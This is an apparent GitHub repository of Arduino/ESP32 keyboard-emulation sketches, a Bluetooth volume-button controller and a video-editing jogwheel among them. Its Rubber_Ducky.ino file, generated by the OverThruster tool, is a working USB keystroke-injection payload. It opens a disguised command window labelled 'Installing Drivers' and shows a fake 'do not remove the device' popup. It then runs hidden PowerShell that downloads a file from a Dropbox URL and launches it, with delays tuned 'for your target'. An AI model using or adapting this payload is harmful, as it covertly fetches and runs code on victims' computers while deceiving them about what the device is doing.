├── .gitattributes ├── BLE_IPhone └── BLE_IPhone.ino ├── Jogwheel └── Jogwheel.ino ├── README.md └── Rubber_Ducky └── Rubber_Ducky.ino /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /BLE_IPhone/BLE_IPhone.ino: -------------------------------------------------------------------------------- 1 | /** 2 | This example turns the ESP32 into a Bluetooth LE keyboard that writes the words, presses Enter, presses a media key and then Ctrl+Alt+Delete 3 | */ 4 | #include 5 | 6 | /* 7 | connecting Rotary encoder 8 | CLK (A pin) - to any microcontroler intput pin with interrupt -> in this example pin 32 9 | DT (B pin) - to any microcontroler intput pin with interrupt -> in this example pin 21 10 | SW (button pin) - to any microcontroler intput pin -> in this example pin 25 11 | VCC - to microcontroler VCC (then set ROTARY_ENCODER_VCC_PIN -1) or in this example pin 25 12 | GND - to microcontroler GND 13 | */ 14 | #define UP_BUTTON 27 15 | #define DOWN_BUTTON 26 16 | 17 | BleKeyboard bleKeyboard; 18 | 19 | bool keyPressed(byte pin) { 20 | bool keyStatus = false; 21 | if (!digitalRead(pin)) { 22 | while (!digitalRead(pin)); 23 | keyStatus = true; 24 | delay(100); 25 | } 26 | return keyStatus; 27 | } 28 | 29 | void setup() { 30 | Serial.begin(115200); 31 | pinMode(UP_BUTTON, INPUT_PULLUP); 32 | pinMode(DOWN_BUTTON, INPUT_PULLUP); 33 | bleKeyboard.begin(); 34 | Serial.println("Initialized"); 35 | } 36 | 37 | void loop() { 38 | bool up = keyPressed(UP_BUTTON); 39 | bool down = keyPressed(DOWN_BUTTON); 40 | if (up) { 41 | bleKeyboard.write(KEY_MEDIA_VOLUME_UP); 42 | Serial.println("Volume up"); 43 | } 44 | if (down) { 45 | bleKeyboard.write(KEY_MEDIA_VOLUME_DOWN); 46 | Serial.println("Volume down"); 47 | } 48 | delay(100); 49 | } 50 | -------------------------------------------------------------------------------- /Jogwheel/Jogwheel.ino: -------------------------------------------------------------------------------- 1 | /** 2 | This example turns the ESP32 into a Bluetooth LE keyboard that writes the words, presses Enter, presses a media key and then Ctrl+Alt+Delete 3 | */ 4 | #include 5 | #include 6 | 7 | 8 | /* 9 | connecting Rotary encoder 10 | CLK (A pin) - to any microcontroler intput pin with interrupt -> in this example pin 32 11 | DT (B pin) - to any microcontroler intput pin with interrupt -> in this example pin 21 12 | SW (button pin) - to any microcontroler intput pin -> in this example pin 25 13 | VCC - to microcontroler VCC (then set ROTARY_ENCODER_VCC_PIN -1) or in this example pin 25 14 | GND - to microcontroler GND 15 | */ 16 | 17 | #define JOG_BUTTON 20 18 | #define ROTARY_ENCODER_A_PIN 32 19 | #define ROTARY_ENCODER_B_PIN 21 20 | #define ROTARY_ENCODER_BUTTON_PIN 25 21 | #define ROTARY_ENCODER_VCC_PIN -1 /*put -1 of Rotary encoder Vcc is connected directly to 3,3V; else you can use declared output pin for powering rotary encoder */ 22 | #define STOPSWITCH 6 23 | 24 | ESP32Encoder encoder; 25 | BleKeyboard bleKeyboard; 26 | #define KEY_LEFT 27 | 28 | int nbr = 0; 29 | 30 | int readJogWheel() { 31 | int direction = 0; 32 | if (nbr != encoder.getCount()) { 33 | // Serial.println("Encoder count = " + String((int32_t)encoder.getCount())); 34 | if (nbr > encoder.getCount()) direction = 1; 35 | else direction = -1; 36 | nbr = encoder.getCount(); 37 | } 38 | return direction; 39 | } 40 | 41 | void setup() { 42 | Serial.begin(115200); 43 | 44 | pinMode(JOG_BUTTON, INPUT_PULLUP); 45 | 46 | // Attache pins for use as encoder pins 47 | encoder.attachSingleEdge(32, 21); 48 | encoder.clearCount(); 49 | bleKeyboard.begin(); 50 | Serial.println("Starting BLE work!"); 51 | } 52 | 53 | void loop() { 54 | 55 | // while (!digitalRead(STOPSWITCH)); 56 | char key = 0; 57 | int dir = readJogWheel(); 58 | if (dir < 0) key = KEY_LEFT_ARROW; 59 | if (dir > 0) key = KEY_RIGHT_ARROW; 60 | if (dir != 0) Serial.println(key, HEX); 61 | 62 | if (bleKeyboard.isConnected()) { 63 | if (digitalRead(JOG_BUTTON == HIGH)) bleKeyboard.write(key); 64 | else { 65 | switch (key) { 66 | case 0xD8: 67 | Serial.println("left"); 68 | bleKeyboard.press(KEY_LEFT_SHIFT); 69 | bleKeyboard.press('J'); 70 | delay(100); 71 | bleKeyboard.releaseAll(); 72 | break; 73 | case 0xD7: 74 | Serial.println("right"); 75 | bleKeyboard.press(KEY_LEFT_SHIFT); 76 | bleKeyboard.press('L'); 77 | delay(100); 78 | bleKeyboard.releaseAll(); 79 | break; 80 | case 0x00: 81 | Serial.println("zero"); 82 | break; 83 | default: 84 | break; 85 | } 86 | } 87 | } 88 | delay(100); 89 | } 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HID examples 2 | 3 | ## External Repositories 4 | 5 | - Arduino 6 | - ... 7 | - PlatformIO 8 | - [DIY, low cost Raspberry Pi Pico usb macro-pad](https://github.com/DocBrown101/DIY-usb-macro-pad) 9 | -------------------------------------------------------------------------------- /Rubber_Ducky/Rubber_Ducky.ino: -------------------------------------------------------------------------------- 1 | //This Arduino Sketch was generated with the OverThruster tool, located here: https://github.com/RedLectroid/OverThruster 2 | 3 | #include 4 | void setup() { 5 | Keyboard.begin(); 6 | hurryUp(); 7 | killCaps(); 8 | bypassUAC(); 9 | bubblePopup(); 10 | //THIS DELAY IS IMPORTANT, AND MAY NEED TO BE MODIFIED FOR YOUR TARGET 11 | delay(1000); 12 | downBinary(); 13 | Keyboard.end(); 14 | } 15 | void pressEnter(){ 16 | Keyboard.press(KEY_RETURN); 17 | delay(100); 18 | Keyboard.release(KEY_RETURN); 19 | } 20 | void hurryUp(){ 21 | boolean areWeThereYet = capsCheck(); 22 | while (areWeThereYet == capsCheck()){ 23 | hitCaps(); 24 | } 25 | hitCaps(); 26 | } 27 | 28 | boolean capsCheck(){ 29 | if (BootKeyboard.getLeds() & LED_CAPS_LOCK){ 30 | return true; 31 | } 32 | else{ 33 | return false; 34 | } 35 | } 36 | 37 | void hitCaps(){ 38 | Keyboard.press(KEY_CAPS_LOCK); 39 | delay(100); 40 | Keyboard.release(KEY_CAPS_LOCK); 41 | } 42 | 43 | void killCaps(){ 44 | if (capsCheck()) 45 | { 46 | hitCaps(); 47 | } 48 | } 49 | 50 | void bypassUAC(){ 51 | Keyboard.press(KEY_LEFT_GUI); 52 | Keyboard.press('r'); 53 | delay(200); 54 | Keyboard.release(KEY_LEFT_GUI); 55 | Keyboard.release('r'); 56 | delay(100); 57 | Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=15 LINES=1 && title Installing Drivers"); 58 | delay(100); 59 | pressEnter(); 60 | delay(500); 61 | } 62 | void bubblePopup(){ 63 | Keyboard.println("wlrmdr.exe -s 60000 -f 1 -t \"Installing Drivers\" -m \"Please do not remove the device\""); 64 | delay(100); 65 | pressEnter(); 66 | delay(750); 67 | } 68 | void downBinary(){ 69 | Keyboard.println("cd\\users\\%USERNAME%"); 70 | delay(100); 71 | pressEnter(); 72 | Keyboard.println("powershell -w hidden \"$source = 'https://www.dropbox.com/s/7jjlrd1m23gpt4g/Test.docx?dl=0'; $destination = 'Test.docx?dl=0'; Invoke-WebRequest $source -OutFile $destination;start-process 'Test.docx?dl=0';exit;\""); 73 | delay(100); 74 | pressEnter(); 75 | Keyboard.println("exit"); 76 | delay(100); 77 | pressEnter(); 78 | } 79 | void loop() 80 | { 81 | } 82 | --------------------------------------------------------------------------------